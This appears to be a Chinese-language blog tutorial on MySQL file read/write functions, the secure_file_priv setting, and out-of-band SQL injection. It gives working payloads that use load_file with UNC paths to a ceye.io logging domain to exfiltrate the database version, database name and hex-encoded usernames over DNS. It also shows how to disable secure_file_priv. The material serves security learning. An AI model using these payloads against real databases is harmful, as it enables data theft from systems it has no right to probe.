mysql 讀寫文件特性和OOB注入

Mysql 中讀寫文件主要是load_file和into outfile 和 into dumpfile, mysql 的導(dǎo)入導(dǎo)出的功能從mysql5版本起都受 系統(tǒng)變量@@secure_file_prev 影響,我們來看一下官方的解釋

image.png

This option sets the secure_file_priv system variable, which is used to limit the effect of data import and export operations, such as those performed by the LOAD DATA and SELECT ... INTO OUTFILE statements and the LOAD_FILE() function. For more information, see the description of secure_file_priv.

在<=5.7.5版本的mysql里面默認值為empty, 在大于5.7.6里面是platform sepcific(linux 默認是/var/lib/mysql-files),表示讀寫只能在這個目錄下面。(有的文章說是5.5.53版本開始,這個未做考證,暫時以官方為主)

該變量有三種取值,empty,NULL, 某個具體路徑:

如果變量設(shè)置為目錄的名稱,則服務(wù)器會將導(dǎo)入和導(dǎo)出操作限制在跟這個目錄中一起使用。這個目錄必須存在,服務(wù)器不會自己創(chuàng)建它。
如果變量為空,則不會產(chǎn)生影響,引起不安全的配置。
如果變量設(shè)置為NULL,那么服務(wù)器就會禁用導(dǎo)入和導(dǎo)出操作。這個值從(MySQL 5.5.53)版本開始允許。

Secure_file_priv是一個全局變量,它是一個只讀變量,你不能在運行時改變它。也就是說如果此種注入比較依賴版本。修改這個值的方法只能在配置文件里面修改,在mysql里面是無法修改的。

windows下:修改my.ini
在[mysqld]內(nèi)加入secure_file_priv =

linux下:修改my.cnf(可能是/etc/mysql/mysql.conf.d/mysqld.cnf)
在[mysqld]內(nèi)加入 secure_file_priv =/tmp
然后重啟mysql,再查詢secure_file_priv

into outfile 和 into dumpfile的區(qū)別

outfile 寫完文件后會在文件后加一個\n換行符,而dumpfile不會

mysql> select 'aaaa' into outfile '/var/lib/mysql-files/1.php';
Query OK, 1 row affected (0.03 sec)
mysql> select load_file('/var/lib/mysql-files/1.php');
+-----------------------------------------+
| load_file('/var/lib/mysql-files/1.php') |
+-----------------------------------------+
| aaaa
                                   |
+-----------------------------------------+
1 row in set (0.00 sec)

mysql> select 'xxxx' into dumpfile '/var/lib/mysql-files/2.php';
Query OK, 1 row affected (0.00 sec)

mysql> select load_file('/var/lib/mysql-files/2.php');
+-----------------------------------------+
| load_file('/var/lib/mysql-files/2.php') |
+-----------------------------------------+
| xxxx                                    |
+-----------------------------------------+

這兩個函數(shù)的原本作用是導(dǎo)出數(shù)據(jù)做備份。

mysql> select * into outfile '/tmp/x.sql' from user;
Query OK, 3 rows affected (0.00 sec)


cat /tmp/x.sql

1   admin   admin
2   r00t    r00t
3   61d 61d

注意outfile 和 dumpfile后面的路徑都不能是十六進制。請注意,如果過濾引號,無法使用十六進制會話或者其他格式作為文件路徑

mysql OOB帶外注入

當(dāng)涉及到MSSQL與Oracle時,Out-of-Band 注入是非常好的方式, 但在mysql中卻并非如此,因為mysql的secure_file_priv 配置禁止了mysql的導(dǎo)入導(dǎo)出。

解決的辦法:

在mysqld的配置中設(shè)置該屬性為空

secure-file-priv=

下面的payload 也都只能在window下執(zhí)行,在linux下運行不了,這個還不知道為什么。

OOB注入語句:

select load_file(concat('\\\\',version(),'.h7x7ty.ceye.io\\a.txt'));

select load_file(concat('\\\\',database(),'.h7x7ty.ceye.io\\a.txt'));
image.png

另外,查詢的數(shù)據(jù)中不能有特殊字符,因為concat做的是連接操作,查詢的數(shù)據(jù)會作為子域名的一部分,如果域名中存在特殊字符(比如都好,* {}等)就會解析失敗,因此最好就一個hex函數(shù)加密傳輸一下)

select load_file(concat('\\\\',(select hex(group_concat(username)) from ctf.user limit 1),'1.h7x7ty.ceye.io\\a.txt'));
image.png

參考:

https://segmentfault.com/a/1190000009333563

https://dev.mysql.com/doc/refman/5.7/en/server-options.html

http://c1em0.cn/2017/11/14/MySQL%20OOB%E6%B3%A8%E5%85%A5/

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容